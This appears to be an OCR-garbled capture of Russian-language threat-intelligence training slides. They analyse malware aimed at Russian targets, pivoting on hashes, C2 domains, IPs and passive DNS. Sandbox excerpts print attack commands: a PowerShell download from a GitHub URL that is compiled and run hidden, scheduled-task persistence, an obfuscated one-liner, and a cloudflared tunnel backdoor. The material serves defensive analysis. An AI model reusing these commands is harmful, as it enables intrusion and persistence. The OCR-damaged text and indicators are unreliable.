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Tl-curHan

Buabl n dopmarsil




O6Hapy>xeHne Tl-curHanop  Ampire &=

9 Askar Dyussekeyev & A oee 0 Szabolcs Schmidt & . ThreatFoXX
skardyuss ica83 4

& n
Interesting sample from Russian Federation,

I: New cyberattack targeting Russian Armed Forces 'wdatasvc.exe' seen from Russia @ N
(specmca//y Military Automobile Inspection - VAI) spotted on 74fef06cff2bb57ccfal916228ff751ffda777c37f03fc92¢c46139311020900

Yeegomnenune NeA40-10 0508 2026: is a standardized technical
filename or document ID generated by Russian state or judicial
information systems on August 5, 2026.

Attackers use a 7-Zip SFX archive disguised with a PDF icon

("ucx1051_om_20.04.2026 _cn nacnopm.exe") to drop a decoy and an hxxps://ntfy(.)sh/zigapapnekola

obfuscated payload. hxxps://api.telegram(.)org/bot7953238720:AAFxrralu_ PBoHj5RwkXSbb
g MMMKS5JqVAJHU/sendMessage

Konrt
Crapiiero  MMcnextopa  otaeacuix  (np
ABHaeHIA ) oT1e/a (GEIONACHOCTH A0PORHO)

0 Follow~ ( Re File type]
Windows

p95c84454a4a1156e298f5b459c5276aa558538fa58ef0

O.Maxcumrun

File type]
Windows

OHAMAOIT)
Windows
MOAKOBHHK

CONTENT TELEMETRY COMMUNITY Winciows
csv

- d OMaxcumun
«20 » anpeas 2026 1 d

PM - 14 nioH. 2026 . - 2166 npocw file

74fefo6cff2bb57ccfa1916228ff751ffda777¢37f03fc92¢4613931
1020900d

yTe [ If Digital Life "ﬂ wdatasvc.exe
10C'S

Yeepomnenuwe N221 o Havane KOMNAEKCHOW MpOBEPKM

seen @ Distinct submitters © file
file

file

2026-07-10 06:10:22 UTC

PM -

5 aer. 2 . - 1293 npocmoTp:

COrnacHoO nnaHy _\u"Te‘-IEI\'B -exe

autovekb96[ . Jru q
8215e455ebces74b4382bT2e7dBc58d67allat3ift861leade EXE
elcd431813d5fTe85e

u 7 3:04 PM - 10 wiron. 2026 1. - 349 npocmoTpos




O6HapyxeHue Tl-curHanop  Ameire &=

< Q, #SkyCloak

CyberSquatting RU Alerts
aKTWBHbIE celvac u,c:ME:HbIRare Werewolf NonynapHoe Mocneanee

Cnuckwm

voffice.top

dkoffice.top m R3BELFOX @goldenjackel12 - 11 map. CF sn

#SkyCloak #APT #VortexWerewolf #Phishing
none3Has Harpyaka TyT

/pas.jpg
Jdriver.jpg

/bk.Jjpg

Scan_12243 tig_na_perepodgotovku_dsp.pdf.Ink
a787dc837534873327d3cf9e76749bed

dfb41b91b8022aaa79a5d1155¢c49e3ab
goffice.digif Browse Database 5daae9c5799c3e66efdacaad738187b4

3apaboTtaeT-h

f 5 Itag:LibrarianGhouls I dFrakkKisatnwik @oumko @polygonben @tiementalAl

t.me/CyberSquatt

Search Syntax @

Search:

Date (UTC) SHAZ256 hash Signature Tags Reporter

2026-06-25 08:06 12648cd9d425f78db2db... [ bat | LibrarianGhouts | B Kodaor
2026-06-25 08:05 0dc0fa727f900ed5033f4... . [ AndyDesk | exe | LibrarianGhouls | B «odaor

2025-12-26 13:54 96c7ba19beefla314a357... . B smicas3




bHapy>xeHue Tl-curHanop  Ameie &=

>

New
analysis

Reports
ese
wn
Teamwork
2
Tl

Public submissions

Intelligence rulesets = TlLookup TIYARA Search

Q, Search

@& -~ mTiLookup0 Q_commandLine:'ssh -o StrictHostKeyChecking=no Q

-~ B TIYARA Search 0 Al commandLine:"ssh -o StrictHostKeyChecking=no"
{\} (3 Add to ruleset

Search | You can view up to 10 results per category on your current plan. Upgrade to see all results —

Eb @ Overview @ Domains0 Q IPs0 & URLs0 < Connections0 % Events10/13 [ Files0 & Network threais0 O Synchro MEZ

Top today

@

Public
Requests

Ez

Interactive

Sandbox




bHapy>xeHue Tl-cnrHanos

lkaspersky club
O6aop AKTUEHOCTB Marazun Kaspersky Support Forum

InaBHaa > Texuuueckas nomous > Momouwk B 6opkGe ¢ WKMpPOBaLILMKAMU-BLIMOTATENAMMN

CnoBun Bupyc wn¢poBanbLMK

@ Konnea cnoewna BUpyc WMGPOBaNnbWKK Ha pabouem nk. Qaidnesl noroe Farbar v apxvm ¢ npuMepami HainoBwM NUCEMOM MOLIEHHUKOE NMPUAOArak

@ainoL.rar Addition.txt FRST.txt

Hoeuukw
HepoctynHo HegoctynHo HegoctynHo

»4

0 BE[JDHTHU 3apaxeHne HayanoCk C BNOXEHWA N3 NOYTOBOTO COOBLEHWMA C MMEHEM:

Liurara

«

o
KoHoyntTaHTLI AKT CBEEpPKM BE3aWMMHBIX PacyeToE Npeanpuatia N2 275 ot 2 anpena 2026 roga.exe

Crapoxwnbi B
Ecnwn 370 coobLeHmWe COXPaHMAOCK, CoXpaHuTe ero B popmate *.eml

®22.3 Teic ¥nakyATe ero B apXWe C Napo/em virus W NPUKPenvTe K cieyrolemy coobuweHunio (unv 3akadaite Ha 06nako v AaifTe CCbUIKy Ha CKauvBaHue).

Sandor - nposepeHHbIA xennep Ha SafeZone.cc

%@ Fixlog.txt ICDOGLLI,EHMH YBbI HE COXPaHKNOCh, dainsl He nouMHMMCbl

Ampire 3BR°

\ Mocr

. dadaaad

@skocherhan
'Proekt_prikaza 681 o pooshchrenii.pdf.ink’
MAC address 08:00:27:.¢5:22:20
Machine id desktop-hzmSTZ1

#AwakenLikho

2:37 AM - 11 desp. 2026 r. - 72 npocmoTpa

@ o] Q1

" Pavel VaclaFella
‘wm @VaclavVeselsky

{j [MoKazaTe Nepeeoy
BlackSpark's hackers managed to hack the VTB bank and Russian

Railways recently, so it must still be possible. Perhaps asking them and

the @CyberLegionNews for tips to handle the collapsing state of Russian
internet would be worth the try? &

11147 PM - 19 aer. 2026 1. - 41 npocmoTp

™\
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L ¥
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Buabl n dopmarsl

» Coucetn n nybanYHbIE KaHabl

» Tarm n NOMCK Ha Ha3BaHUKO

» y6AnYHbIE MECOYHULbI N CEPBUICHI

» TexHMKUM 1 Nnpoueaypbl N3 NPOLUAbIX
aKTUBHOCTEN

» Coucetn n NybaAnYHbIE KaHa bl

» OtKpbITbie HOPYMbI 1 BAOrK



VIccheapoBaHume
BpeAOHOCHOW
aKTUBHOCTU
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Xouw

Pacwinpenie MD5 SHAT SHA256
danna
e B3anmocBA3aHHble CeTeBoe
R Ha3BaHuA - N
2 dannbi B3aMMoJencTeune




Ob6oraweHne nHdopmaLymy A &=

NHanKaTopbl KomnpomeTtaumm (loCs)

(D 46/65 security vendors flagged this file as malicious C Reanalyze = Similar ~  More Vv

46 cdc371e508dbd43ef2fe37bcc84889c2e11b13a29623f656d8274ca81fae61fa
/65 Size Last Analysis Date %&

NetCfgNotifyObjectHost.exe 1.58 MB 2 days ago 3

Community

S peexe  detect-debug-environment  overlay  obsidium  signed  invalid-signature  idle  long-sleeps

-

Basic properties ©

MD5 cc2fd31d2f59fb88f9al4624ae6999a9
SHA-1 b40050b70e433642805294044578b653e2a6dd28
SHA-256 cdc371e508dbd43ef2fe37bcc84889c2e11b13a29623f656d8274ca81faeblfa
n OT60TTTaraItiTiTTinZ1iZ
Authentihash e2a831d4edae6497b70e909db406ea3925¢00a10337e4902efc4e00f487 c1fdf
Imphash 2eabe9054cad5152567f0699947a2c5b
Rich PE header hash 32db15103b99a814c788a86909b6a472
SSDEEP 24576:v4H5WmheyXRarrxpx6zJuyHkWqiJaaglLgi+umVUnjkvWcz7G3CIW73LJGJIP+R3fl:gHkm3XE5+8yHaEQL1vm6CXY9+RUA
TLSH T1177502F1A740C465D8979679D83BD6A3B823A64E9DAB091C2D82FFOB3E73347106785F
File type Win32 EXE  executable ~ windows ~ win32 pe  peexe
Names ®

AKT CBEpKW B3aUMHLIX Pac4eTOB 3a nepuog Tpu Mecaua.pdf.exe

wdaaihid.exe
A?? c?ep?? 77a?7??x pac?e?o? 72 722277 222 772772, pdf.exe
A-T céep-; 6°a; %idx pactelod °a »Na; «f Fa; %NRNpA.pdf.exe

users.exe




Ampire E‘IZ°

O6orauweHne nHdopmMaumnn

NHankaTopbl KomnpomeTaunm (loCs)

() 46/65 security vendors flagged this file as malicious

C Reanalyze = Similar~  More

cdc371e508dbd43ef2fe37bcc84889c2e11b13a29623f656d8274ca81fac61fa . Last Analysis Date o g
Q
NetCfgNotifyObjectHost.exe 1.58MB 2daysago EXE
Community
Score detect-debug-environment  invalid-signature  overlay  idle  longsleeps  signed  obsidium
DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY
Join our Community and enjoy additional community insights and crowdsourced detections, plus an APl key to automate checks.
Contacted Domains (4) @ o
Domain Detections Created Registrar
assets.adobedtm.com 0 /91 2013-11-22 -
red.2bd.net 0/91 2025-12-26 -
red.flashhub.net 0/91 2026-04-07 -
- red.servehttp.com 1/91 2000-08-01 No-IP Technologies, LLC
Contacted IP addresses (1) © o
1P Detections Autonomous System Country
193.37.41.94 6/91 214668 NL Type Name
RAR AKT cBepKn.z
Execution Parents (3) @ . o
< ZIP AKT cBepKn.zip

Scanned Detections Type LA Win32 EXE AKT CBEpKM B3aMMHBbIX Pac4eToB 3a nepuog Tpn mecsiua.pdf.exe
2026-08-05 27 /62 RAR AKT CBEPKW.Z
2026-08-22 39 /61 Al AKT CBEpKUW.Zip
2026-08-22 46 [65 Win32 EXE AKT CBEPKMW B3aMMHbIX PACHETOB 3a nepuog Tpu mecsaua.pdf.exe




O6oralleHne nHbopMaLnmy  Amere e

NHankaTopbl KoMmnpomeTauumn (loCs)

» Passive DNS » Passive DNS » lomeH

b lNopoomensl » ASN ) BpemeHHble apTedaKThl
peMeHHble apTedaKTbl ) BpemeHHble apTedaKThl

IS-AaHHble



Ob6oralleHve nHbopmaumy  Amere €=

NHankaTopbl KomnpomeTaunm (loCs)

® (D 1/91 security vendor flagged this domain as malicious C Reanalyze More Vv
/91
d htt Registrar Creation Date Last Analysis Date
red.servehttp.com : Q
No-IP Tech LL 2 N
ST, o-IP Technologies, LLC 6 years ago 3 days ago D
Score
DETECTION DETAILS RELATIONS COMMUNITY

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Date resolved Detections Resolver ]
Passive DNS R.eplication (3) @ 2026-08-04 6 lI'rg.ll. VirusTotal 193.37.41.94 |_|:|
Date resolved Detections Resolver [ /—v
2026-08-04 6 / 91 VirusTotal 193.37.41.94
2022-04-17 0/91 VirusTotal 188.166.84.153
2021-08-09 0 / 91 VirusTotal 34.64.116.200




Ob6oraweHne nHdopmaLymy A &=

NHankaTopbl KoMmnpomeTauumn (loCs)

(D 1/91 security vendor flagged this IP address as malicious C Reanalyze More v
f91
172.67.205.148 (172.67.128.0/17) 172.67.205.148 (172.67.128.0/17) Last Analysis Date
Th
e—— AS 13335 (Cloudflare,Inc.) —» ours ago

Score AS 13335 (Cloudflare, Inc.)

DETECTION DETAILS RELATIONS COMMUNITY 1
Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.
Security vendors' analysis @) Do you want to automate checks?
Gridinsoft (D) Phishing Abusix () Clean
Acronis () Clean ADMINUSLabs () Clean
AlLabs (MONITORAPP) () Clean AlienVault () Clean
Antiy-AVL () Clean BitDefender () Clean

Blueliv () Clean Certego () Clean




v AHanus Tl-curHana

01 O6oraweHne nHpopmaumm

02 PacwunpeHune dHAJIN3NpyeMblX OdHHbIX

03 Mownck obpa3suos BMNO

HANKATOPbI
ANPOMEeTaLnmn




Paclumperune aHanmsnpyemMblx AaHHbIX Ampire 38es

NHankaTopbl KomnpomeTaunm (loCs)

' SHODAN
FO FA Z(J}@))censgs

> Y HURRICANE ELECTRIC
J INTERNET SERVICES

Q ¢¥) SecurityTrails

Urlscan.io



PaclumpeHne aHann3mpyemblx AaHHbIX Ampire 38

NHankaTopbl KoMmnpomeTauumn (loCs)

» Passive DNS » Habop oTKpbITbIX NOPTOB » [lapameTpbl N 3HaYEHMUA
» CTMANCTMKA HanMcaHus » MpoBanaep (perncrpatop) » CopepXxmmoe Beb-
CTPaHMLpbl

» HTTP-3arosoBku » HTTP-3arosioBku
) dannbl obpaweHna

aHHble (body hash, ) MeTagaHHble



PaclwnpeHne aHann3mpyembix gaHHbIX —Ampire 3ge
Passive DNS (pDNS)

PDNS — Habop 3anuncen,

coep Kallmx pesysbTaThl
pa3speweHna DNS ona nomeHOB B
cooTBeTcTBYIOLWMe IP-agpeca

Date resolved Resolver Domain
2026-08-04 0/91 VirusTotal red.2bd.net

2026-08-04 1/91 VirusTotal red.servehttp.com
2026-08-04 VirusTotal red.flashhub.net

2026-05-13
2026-05-12

VirusTotal
VirusTotal

kilimanjaro.run.place

kilimanjaro.theworkpc.com

Date resolved
2026-05-13

Resolver P
VirusTotal 193.37.4194

2025-10-22 1/91 VirusTotal

80.91.223.6



IP Address 80.91.223.6 IP Address 80.91.223.63

-

4+ -, -~ 'y

‘ --"Dc'mai_lj. kilimanjaro.theworkg;.cem"'-_

;
T =
& 5

Domain Kilimanjaro.nu ﬁ'.'ala_g:e

I;_J,Dm'é'i'n red.redirectme.net

[
S5

IP Adgré \33‘3?{\1.94

Domain red.flashhub.net Domain red.servehttp.com
08.2026 r.

O

Domain red.2bd.net



PaclwinpeHve aHanm3snpyembixX aHHbIX Ampire Sge°

SecurityTrails g 176.123.0.55

ARecorded Future® Co
CyberSquatting RU Alerts
aKTUBHbIE ceryac aomMeHbl Rare Werewolf

,1176.123.0.55 feverse IP lookup @

a

voffice.top
dkoffice.top

NonNe3Han Harpyska Tyt
/pas.Jipg
/driver.jpg

/bk.jpg

1-49 of 49 results

Domain

goffice.digital - 3TOT 4TO TO 3aMon4an, BUAUMO, 0»0 |
3apaboTaet - hoffice.click

mail.noffice.site

webmail.kidneyhomeoffice.com

noffice.site.goffice.sbs

= () 8/89 security vendors flagged this domain as malicious C Reanalyze More, vV
8 cpcalendars.poffice.site
89 hOfﬁC@-C“Ck 2 F‘\:L‘\'»Iv:ﬂ Crn:alm; Date Last Analysis Date @ ‘
NameSilo, LLC 2 months ago 7 days ago 20} ftp.sysl eme-office.com
Community
2y WS“L:“: known infection source malicious web sites  spyware and malware
cpcalendars.woffice.help
DETECTION DETAILS RELATIONS COMMUNITY
www.woffice.help
Join our Community and enjoy| Date resolved Detections Resolver P
2026-07-29 /91 VirusTotal 176.123.0.55 cpcontacts.kidneyhomeoffice.com
| Passive DNS Replication (2) © Q
|
Date resolved Detections Resolver P www.poffice.sile
2026-07-29 10 /89 VirusTotal 176.123.0.55
2026-06-26 /89 VirusTotal 89.124.64.187

poffice site

‘:&’—5‘- .'



PaclumpeHne aHannsnpyemMbix JaHHbIX

CTnnncTtmnka HanmcaHmsa

— () 2/91 security vendors flagged this domain as malicious C Reanalyze  More Vv
/91
i ite ‘ Registrar Creation Date Last Analysis Date G\
n LSl i Q
S ofrce.s NameSilo, LLC 13 days ago 1dayago D
Score
DETECTION DETAILS RELATIONS COMMUNITY
f—
Join our Community and enjoy additional community insights and ¢ Date rESI:II‘H'Ed Detections HESI:I',FEI' P
2026-08-12 10 /91 VirusTotal 176.123.0.55
Passive DNS Replication (1) © L
Date resolved Detections Resolver P /
2026-08-12 10 /91 VirusTotal 176.123.0.55
() No security vendors flagged this domain as malicious
. Registrar Creation Date
office.site :
Community P NameSilo, LLC 5 days ago
Score
DETECTION DETAILS RELATIONS COMMUNITY

Ampire

C' Reanalyze More

Last Analysis Date
%

5 days ago

Date resolved
2026-08-20

Resolver
VirusTotal

Join our Community and enjoy additional community insights and crowdsou

Passive DNS Replication (1) @

Date resolved Detections Resolver P /

2026-08-20 10 /91 VirusTotal 176.123.0.55

IP
176.123.0.55

o




Paclumperune aHanmsnpyemMblx AaHHbIX Ampire 38es

443 https
ETag (Entity Tag) —
3arosioBok HTTP-
3anpocCos, = United Stat..
npeacTasasaoWwmm cobon Organization: Cloudflare, |
YHUKANIbHbIN
NOEHTNPUKATOP @ 2025-10-11 15:05
KOHKPETHOW BepCcumn
pecypca Ha cepBepe

cloud-solution... ()

E - AC123

cloud-solution.online:443 ¢ B
cloud-solution... & Data update Header

| =3
Type
lare, Inc.
http.header_hash a 221504

http.body_hash 3e678fa2f51a70a9

http.body_hash



PaclumpeHne aHann3mpyemblx AaHHbIX Ampire 38

@ ZoomEy® Al Search Pricing [SALE] Partners BugBounty Radar SKILL [NEW] MCP CVE Feed [NEW Login Register

| hitp.header="9-0gXL1ngzMq|Sxa6S1zx3F4wtlyg" && http.body hash="9d1ead73e678fa2f51a70a933b0bt 2, .0, C. () #Search Description | SearchTool

e

http.header = "9-0gXL1ngzMqISxa6S1zx3F4wt... && http.body_hash = "9d1ead73e678fa2f51a7... && http.header = "Content-Security-Policy: de...
&& http.header != "connect-src 'self' wss://un... satiafie ssearch, try ZoomEyeGPT

About 15 results
About 15 results (Néarly year: 14 results) 1.662 sel ,Hl?{ ut 15 results

Domain cloud-solution.online

http.header="9-
0gXL1ngzMqlSxa6S1zx3F4wtLyg"
&&

http.body hash="9d1ead73e678fa2 o
F51a70a933b0bf017" &&
http.header="Content-Security- N
Policy: default-src 'none’; font-src -
'self' Fonts.gstatic.com data:; script- Ipﬁdm@zﬂ_w Dm,n@as_c.md | @

src 'self' 'unsafe-inline’; 5|

ajax.cloudflare.com; connect-src ' nmaA

'self' wss://" &&
http.header!="connect-src 'self' e

wss://undefined"

——

Domain cloud-home.casa




PaclumpeHne aHann3mpyemblx AaHHbIX Ampire 38

NHankaTopbl KoMmnpomeTauumn (loCs)

» Passive DNS » Habop oTKpbITbIX NOPTOB » [lapameTpbl N 3HaYEHMUA
» CTMANCTMKA HanMcaHus » MpoBanaep (perncrpatop) » CopepXxmmoe Beb-
CTPaHMLpbl

» HTTP-3arosoBku » HTTP-3arosioBku
) dannbl obpaweHna

aHHble (body hash, ) MeTagaHHble



PaclumpeHne aHann3mpyemblx AaHHbIX Ampire 38

BaHHepbl CepBMCOB 1 OTKPbITbIE MOPThI

31.57.92.130:80 | @ (20) D

31.57.92.130 Banner Products 860758...
am Finland / Uusimaa /... ’
SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13

56971 1 @
4

Cgi Global Limited A
F@ FA asn="56971" && port="80" && protocol="ssh Syntax ¢ @ ‘ Pricing Support v
2026-09-09

b ©

Search Results Statistics Historical Trend i E API

‘ 31results(28 unique IP ),148ms,Keyword Search.

&
Do
Do

Pastyear w



Domain all.ns.cdncdn.sbs

A\'\,‘C'E'e‘i

Threat Actor

Usas
S—

—
—__lBgpy

— 2 Dlvag
IP Address 31.57.107.60 ""-—k:‘f__'_c

0

Domain mhditghz.site

IP Address 95.182.116.63

&
&
&
'3
;g.‘l
&

Domain abbsuydkowlksi.info



PaclumpeHne aHann3mpyemblx AaHHbIX Ampire 38

NHankaTopbl KoMmnpomeTauumn (loCs)

» Passive DNS » Habop oTKpPbITbIX NOPTOB » [lapameTpbl N 3HaYEHMUA
b CTUANCTMKA HaNWCAHMA » MpoBanaep (perncrpatop) » CopepXxmmoe Beb-
CTPaHuULpbI

- HTTP-3aronoBku » HTTP-3arosoBk#u
) dannbl obpaweHna

TagaHHble (body hash, ) MeTagaHHble

bl TLS
Ta/coeanHeHuns



PaclumnpeHne aHann3npyemMbix JaHHbIX

O urlscan. A Home Q Search ® Live EE API 4 Blog A Docs (KA Pricing alex o

urlscan.io

A sandbox for the web

@ URL Q Triage

github.com/evon-ch/ob/raw/refs/heads/main/REA.md P> Public Scan

Recent scans for page.url:fgithub.com/evon-ch/ob/raw/refs/heads/main/REA.md"

Rge

2 months

O urlscan. A Home Q, search ® Live EBE API 4 Blog A Docs @ Pricing alex o

DE®™® —Scannedfrom CAJ+l

A Summary FHTTP 149 A Redirects 1CrLinks 14  WBehaviour -4 Indicators | & Similar EIDOM K Content ERAPI ‘

Summary Screenshot




PaclumpeHmne aHann3npyembix AaHHbIX Ampire 3B

page.url:/https:\/\/github\.com\/.*(raw\/refs\/heads|github.io\/blob\
/main)\/.*\.(json|md|ps1)/ AND NOT page.title:/.*(404|not Found).*/

Search for domains, IPs, filenames, hashes, ASNs

9 page.url:/https\\/github\.com\/*{raw\/refs\/heads|github.ic\/blob\/main)\/*\.(json|md|ps1)/ AND NOT pa; m © Help

Search results +”Showing All Hits

@ URL Age Size &

github.com/tiiisiet&65-sudo/LoicioMoaisK/raw/refs/heads/main/PortableShellLink p... 19 days e 180 KB 2
github.com/tiiisiet65-sudo/LoioioNoaisK/raw/refs/heads/main/restore-macOSx-from... 2 months
github.com/tiiisieté5-sudo/adawcacaw/raw/refs/heads/main/test-relative-target.p... 3 months
github.com/hellenkamau197-gif/185/raw/refs/heads/main/4/%.json 4 months
github.com/keepandroidopen/keepandroidopen.github.io/blob/main/src/content/page... 5 months

github.com/neurips2024-enlsp/neurips2024-enlsp.github.io/blob/main/index.md 10 months

github.com/leotminsano/leotm.github.io/blob/main/README.md 1year

(7 results in total, 7 shown)

NcTouHuk: https://docs.urlscan.io/pages/search-api-reference
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[lonck obpa3yos BI1O Ampire

Recorded Future’
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v AHanus Tl-curHana Ampire -

01 O6bHapyXeHue MHONKATOPOB KOMMPOMETAL MM

07 MWccnepoBaHne xocToBbIX apTedakToB

()3 AHanu3 ceTeBOro B3aMMoaemncTBus

paseu, BMO




Ob6Hapy>xeHne MHANKATOPOB
KOMMpOMeTaLunm

AHann3 BI1O

—  C:\Users\admin\AppData\Roaming\Microsoft\Windows\WMI\WmiPrvSE.exe
—  C:\Users\admin\AppData\Local\Temp\~dfrgui.exe

—  C:\Users\admin\AppData\Local\Microsoft\Windows\Explorer\DwmCache.bin

"C\Users\admin\AppData\Local\Microsoft\Windows\Explorer\DwmCache bin" tunnel —url http-//127.0.0.1:18321 —no-autoupdate

BINO knacca Backdoor
YTHUTENIbHbIN
11 Pa3BMUTUA aTakmn




Ob6Hapy>xeHne MHANKATOPOB
KOMMpOMeTaLunm

AHann3 BI1O

DwmCache.bin (PID: 6956 cmdline: "C\Users\wsenAppData\LocaliMicrosoftWindows\ExplorenDwmCache.bin" tunnel —url hitp:/f127.0.0.1:18321 —no-autoupdate MD5: 04EC5208D922B98A947FEA48CT3ECAAS) M

WerFault.exe (PID: 7476 cmdline: C\Windows\system32\WerFault.exe -u -p 6476 -5 1600 MD5: FD27DSF6D02763BDE325118B5DFFFF7AD) W

5253e66f1f493c4e13539749f1aa86fd0c61e3072900fec29a44ba046a6d97e2

cloudflared.exe




Ob6Hapy>xeHne MHANKATOPOB Ampire ZBiz°
KOMNpOMeTaLun

AHann3 BI1O

O6HapyxeHne C2-cepBepa

dTdKYyHOLWNX
4 HTTP Requests 117 Network Threats 2 [] Hide whitelisted | Filter by PID, domain, name or ip PCAP - SSL Keys v;\‘
Timeshift Protocol DCESS name CN P Domain ASN Traffic

27312s| TP | ? 7880 AKT CBEDKM B3aHMHbIX . = 193.37.41.94 red flashhub.net AXUSHOST No Data

= 28232s| TCP | ? 7880 AKT CBEDKM B3aWMHbIX = 193.37.41 .94 red flashhub.net

* 283%2s| TP | ? 7880 AKT CBEDKM B3aMMHbIX .. e 193.37.41.94 red flashhub.net
28333s| TP | ? 7880 AKT CBepKM B3aMMHLx . == | 103.37.41.94 red flashhubret | _ 7 AXUSHOST No Data
28433s| TOP | ? 7880 AKT CBEDKM B3aMMHbIX . e 193.37.41.94 red flashhub.net AXUSHOST No Data
28543s | TCP | ? 7880 AKT CBEDKM B3aWMHbI . == 193.37.41.94 red flashhub.net AXUSHOST No Data

- 29055s | TCP | ? 7880 AKT CBEDKM B3aMHbIX . s 193.37.41.94 red flashhub. AXUSHOST No Data I

S 4 Advanced details of process  [7880] Akt CEepxu B3aHMHEEIX Pac4eTOB 3a neproy Tpu Mecsna.pdf.exe View Simple Raw ¢ T

5

La ] e e __4

Danger [7880] CBepKM B3aUMHbIX pacyeToB 3a NepM
R e C:\Users\admin\Desktop\Axt Csepxu s3amvsiX PacueTOs 3a mepHox Tpa Mecana.pdf.exe
_ Main information Q srclP

Put the slider in the desired position or select the desired segment by yourself (%)

Code signing Untrusted
27.003s 305.892 s

Process dump (1] Q, Port
]t 11 £
¥ Events Y
Time ) p Po DstIP Port ASN + Send 4 Recv Q ASN
+214384ms 193.37.41.94 49800  AXUSHOST = — Q Local Port
+215382 ms 193.37.41.94 49800  AXUSHOST — - Q_ Protocol

Network threats +215386 ms 193.37.41.94 49800  AXUSHOST = -

Modules 4l [ ] Only untrusted

Debug 1 +216382 ms 193.37.41.94 49800 AXUSHOST - —_

+217383 ms 193.37.41.94 49800 AXUSHOST — —




v AHanus Tl-curHana

01 O6Hapy>XeHne MHANKATOPOB KOMIMPOMETAL MM

02 NccnepoBaHMe XOCTOBbIX apTedaKToOB

()3 AHanu3 ceTeBOro B3aMMoaemncTBus




O6Hapy>XeHMe XOCTOBbIX apTedaKTOB  Ampire 3Bes

AHanun3 BI1O

<« Advanced details of process | [1324] wscript.exe | C:\Windows\SysWOW64\wscript.exe Q_ Function log f
MG Put the slider in the desired position or select the desired segment by yourself @ B bINO/IHEeHMe
Codesih . Script tracer | | S
Process VBScript 2 o VbS-CKpMnTa ﬂ,ﬂﬂ
w Script tr -
VBScript . — - - 2_ No. Time CF  Operation Function log 3a nyCKa BI-IO
1 +75ms (WScript.Shell" \ \_
22 57 53 63 72 69 78 74 2E 53 68 65 6C 6C 22 "WScript.Shell"
2 +75ms "C:\Users\admin\AppData\Local\wJdBCh7rKN\svpy.exe" "C:\Users\admin\AppData\Local\wJdBCh7rKN\main
taindown.py™
22 22 43 3A 5C 55 73 65 72 73 5C 61 64 6D 69 6E ""C:\Users\admin
5C 41 70 70 44 61 74 61 5C 4C 6F 63 61 6C 5C 77 \AppData\Local\w
4A 64 42 A3 68 37 72 4B 4E 5C 73 76 78 79 2E 65 JdBCh7rKN\svpy.e
65 22 28 22 43 3A 5C 55 73 65 72 73 5C 61 64 xe" "C:\Users\ad
69 6E 5C 41 70 76 44 61 74 61 5C 4C 6F 63 61 min\AppData\lLoca J
5C 77 4A 64 42 43 68 37 72 4B AE 5C 6D 61 69 1\wJdBCh7 rKN\mai
74 6 SN —————————— R
[6592] powershell.exe Q. Function log
\ C:\Wlnaows§5ys¥em3§‘Wm30wsPoweEﬁe"\v1 .0\powershell.exe
No. Time CF  Operation Function log
; M aH A n e-I-OB 1 +1586 ms Dynamic iwr github.com/evon-ch/ob/raw/refs/heads/main/host.txt -o C:\Users\admin\AppData\Local\Temp\h_.cs
yCKa BI_IO 2 13493 ms Dynamic C:\Windows\Microsoft. NET\Framework64\v4.0.30319\csc.exe /platform:x64 /out:C:\Users\admin\AppData\L
ocal\Temp\Phost.exe C:\Users\admin\AppData\Local\Temp\h_.cs
j 3 +3993ms Dynamic Start-Process C:\Users\admin\AppData\Local\Temp\Phost.exe -WindowStyle Hidden




O6Hapy>XeHMe XOCTOBbIX apTedaKTOB  Ampire 3Bes

AHann3 BI1O

e u -

'| 4168 powershellexe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command * try { $action = New-ScheduledTaskAction -Execute ‘C:\Users\admin\AppData\Local\Microsof .

, 4
b Bokz ® & 3aKkpenJieHne B cMcTemMe yepes
s spicious * CcOo34aHue M 3anyck
50 3anJIaHUPOBAHHOM 33434M
En—— our o 00 c nomoubto powershell
Start: +590829ms  Indicato®™ \

Command line [B AllowStartifOnBatteries -DontStopifGoingOnBatteries -StartWhenAvailable Sprincipal = New-ScheduledTaskPrincipal -Userid ‘admin' -Logon Type Interactive -

powershell exe -ExecutionPoligf RunLevel Highest Register-ScheduledTask -TaskName ‘SvcPowerGreader’ -TaskPath Wicrosuﬁ\\'ﬁndmuskﬂafhva‘eprmamimﬁatfnm' -Action Saction -Trigger

‘CAUsershadmin\AppDatalLocai o = z 2 TS
StriggerDelay = 'PT13M' # 13 minutes delay ahe Ssettlngs New Sd'nedJIEl:l'l’aslcSemngsSEt AlluwStan IfDnBattenBs —DDmSmprGmngDnBanenBs —StartWhenAvalHJle &Jnnupal = New—
Schmjlmaskmmpal _Lherld ﬂdl‘l‘ln _I_ T mmmmm sl el LiZmbmnst Flnnintme Cebed de A Tanle Thnlhlammn Thoanlea e e rmn e TrnlbFMies b AL S m n L A A el D oMt m bl e Pl e ! Al B nainn
-Tri T -Settin ings Principal $ . _
gger Sirigger Settings Ssettings PANCRRIS .~ ) gokup  TI YARA Search
= More Info [ . . " P . - B
Q imagePath:"powershell” AND commandLine:"Register-ScheduledTask [ %] cAl @ B & R 4
: . - P "
imagePath:"powershell* AND commandLine:*Register-ScheduledTask
You can view up to 10 resulis per category on your current plan. Upgrade fo see all results x
(i) Overview @ Domains0 @ IPsO 2 URLs0 < Connections0 % Events10/94 [3 Files0 & Metworkthreats3 ¢ Synchronization1 5 Analyses 10/ 38
Connections (no data) i E Analyses 10/ 38 [ ’
Events 10 out of 94 results shown ﬁp Files {(no data)
Apr 15, 2026 Synchronization 1 ip
T1059.001 T1059 T1027 T1027.010
commandLine Mar 31, 2026
“C:\Windows\System32\WindowsPowerShell\v1.0\powershellLexe" -ExecutionPolicy Bypass ps mmc -ea 0| % { $_.Kill() };$akcBKDR-. MUTEX
('NeW-scheDUleDTAskACTion') -XECuTe (‘conhost) Nt (- pOWeRShel | -eP ByPASs -w H ™"$v=("bf8a251d4a2519%a
a724497c481d4eb2fmoSmINO4EPhOGTBE5dacinwodNO4EPhOGT88T5lanre534623534654xe-evirdkrowNOAEPhOGTE8T5cilbupNO4ED... =
imagePath 2664 exe C:\Windows ive\WindowsF W1.0 Il.exe -ExEc B..
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PN - B 11958 :i7498 < 108
2204 exe "C: W1.0 exe” -Exec..
B 15540 510107 & 1M1
Show more




v AHanus Tl-curHana

01 O6Hapy>XeHne MHANKATOPOB KOMIMPOMETAL MM

07 MWccnepoBaHne xocToBbIX apTedakToB

; AHAaIN3 ceTeBoro
